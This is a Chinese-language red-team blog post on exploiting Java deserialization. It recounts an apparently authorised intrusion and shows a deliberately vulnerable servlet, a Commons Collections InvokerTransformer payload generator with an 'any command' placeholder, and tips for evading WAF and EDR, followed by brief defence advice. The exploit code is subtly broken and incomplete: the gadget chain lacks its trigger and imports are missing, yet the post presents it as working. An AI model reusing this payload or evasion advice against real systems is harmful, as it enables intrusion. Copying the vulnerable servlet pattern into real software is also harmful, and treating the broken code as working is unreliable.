一、从一次内网渗透说起
那是一次针对某大型企业的授权渗透测试。我们通过一次普通的钓鱼攻击进入内网,成功在一台开发服务器上拿到了初始 foothold。接下来的目标是进一步横向移动,获得域管理员权限。然而,仔细分析这台服务器后,我们发现它运行了一些定制的 Java Web 应用,并且在其中某个接口有反序列化操作的迹象。
经过几轮探测,我锁定了一个存在反序列化漏洞的接口,并通过定制化的 payload 成功实现 RCE。这次的关键点是理解反序列化漏洞的原理、构造合适的攻击链以及绕过环境限制。接下来,我将完整拆解这次攻击的过程。
---
二、反序列化的陷阱:漏洞成因详解
反序列化的本质是将二进制数据或对象数据流转换回内存对象。许多开发者在设计系统时,未充分验证反序列化的输入内容,导致攻击者可以通过恶意构造的序列化数据,向目标系统注入恶意代码。
成因分析:
- 缺乏输入验证:反序列化操作通常假设数据来源是可信的,忽略了外部数据的潜在危险。
- 危险类的使用:许多库或框架默认支持一些危险的类,比如 Apache Commons Collections 的
InvokerTransformer,它可以执行任意方法调用。 - 功能滥用:开发人员在使用反序列化时,未限制反序列化操作的范围,比如全局类加载器的使用。
真实世界中,反序列化漏洞不仅存在于 Java,也会在 PHP、Python 等语言中出现。下面,让我们通过一个精心设计的环境来复现这种漏洞。
---
三、搭建战场:模拟反序列化漏洞应用
为了演示反序列化攻击,我们将搭建一个简单的 Java Web 应用,并使用 Apache Commons Collections 库来模拟漏洞场景。
环境搭建步骤
- 安装 Java Web 环境:使用 Tomcat 作为 Web 容器。
- 创建漏洞代码:编写一个简单的 Servlet,接受用户输入并进行反序列化。
- 添加依赖:在项目中引入 Apache Commons Collections 库。
以下是漏洞代码示例:
<pre><code class="language-java">import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ObjectInputStream; import java.io.IOException;
public class VulnerableServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { // 从 POST 数据中读取序列化对象 ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject(); // 反序列化操作 response.getWriter().println("Object received: " + obj.toString()); } catch (Exception e) { response.getWriter().println("Error: " + e.getMessage()); } } }</code></pre>
部署应用
将上述代码编译成 WAR 包并部署到 Tomcat 容器中,确保可以通过 POST 请求向 /VulnerableServlet 发送数据。
---
四、Payload 构造的艺术:实现 RCE

反序列化漏洞攻击的核心就是构造恶意的 payload。这里我们利用 Apache Commons Collections 的 InvokerTransformer 类来实现远程代码执行。
构造过程
我们需要以下步骤:
- 选择攻击链:Commons Collections 提供了多种可以实现 RCE 的类链。
- 生成恶意对象:使用工具如 ysoserial 或者自己手动编码。
- 发送 payload:通过 HTTP POST 请求将恶意数据注入目标应用。
以下是使用 Java 构造 payload 的完整代码:
<pre><code class="language-java">import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap; import java.util.Map;
public class ExploitPayload { public static void main(String[] args) throws Exception { // 构造恶意 Transformer Transformer transformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc"} // 替换为任意命令 );
// 构造恶意 Map Map<String, String> map = new HashMap<>(); map.put("key", "value"); Map<String, String> transformedMap = TransformedMap.decorate(map, transformer, null);
// 序列化恶意对象 byte[] serializedData = serialize(transformedMap);

// 将 payload 写入文件 Files.write(Paths.get("exploit_payload.ser"), serializedData); }
private static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); return baos.toByteArray(); } }</code></pre>
将生成的 exploit_payload.ser 文件通过 HTTP POST 请求发送到目标 Servlet,即可触发漏洞。
---
五、绕过检测:免杀技巧
现代安全设备(如 WAF 或 EDR)会对反序列化漏洞进行检测。为绕过这些防护,我们可以采用以下策略:

- 变形 payload:通过混淆工具对序列化数据进行转化,使其难以被特征检测到。
- 动态生成类:使用 bytecode manipulation 库(如 ASM 或 Javassist)实时生成恶意类,避免固定的攻击链。
- 协议变换:通过将原始序列化数据封装在其他协议中,比如 Base64 或 protobuf 格式。
以下是 Python 用于 Base64 编码的示例:
<pre><code class="language-python">import base64
读取原始 payload 数据
with open('exploit_payload.ser', 'rb') as f: payload = f.read()
对 payload 进行 Base64 编码
encoded_payload = base64.b64encode(payload)
打印结果
print(encoded_payload.decode())</code></pre>
将编码后的数据发送到目标,可以绕过简单的特征检测。
---
六、如何发现并防御反序列化漏洞
虽然这篇文章是从攻击者视角分析问题,但作为红队人员,我们也需要了解如何帮助企业强化防御。
检测方法
- 使用静态代码分析工具扫描危险类的使用。
- 对网络流量进行监控,识别序列化数据的传输特征。
- 利用 fuzz 测试工具主动探测反序列化接口。

防御建议
- 禁用危险类:通过配置禁止使用 Commons Collections 等高危库。
- 数据验证:对序列化数据进行严格的白名单验证。
- 替代方案:使用更安全的序列化方式,比如 JSON 或 protobuf。
---
七、红队经验:成功和失败的背后
在这次渗透中,反序列化漏洞为我们打开了一扇门。但成功的关键不仅是技术上的精确攻击,更需要耐心和对目标环境的深入理解。
以下是个人的一些心得:
- 信息收集为王:在攻击反序列化漏洞之前,对目标系统的框架和库版本的掌握至关重要。
- 持续学习:利用最新的工具和技术,比如 ysoserial 和新的类链。
- 攻击链完整性:反序列化漏洞通常只是一个入口,还需要结合横向移动和权限提升实现最终目标。
反序列化漏洞虽经典,但仍然是红队渗透中的王牌技术。希望这篇文章能帮助你更好地理解和应用它。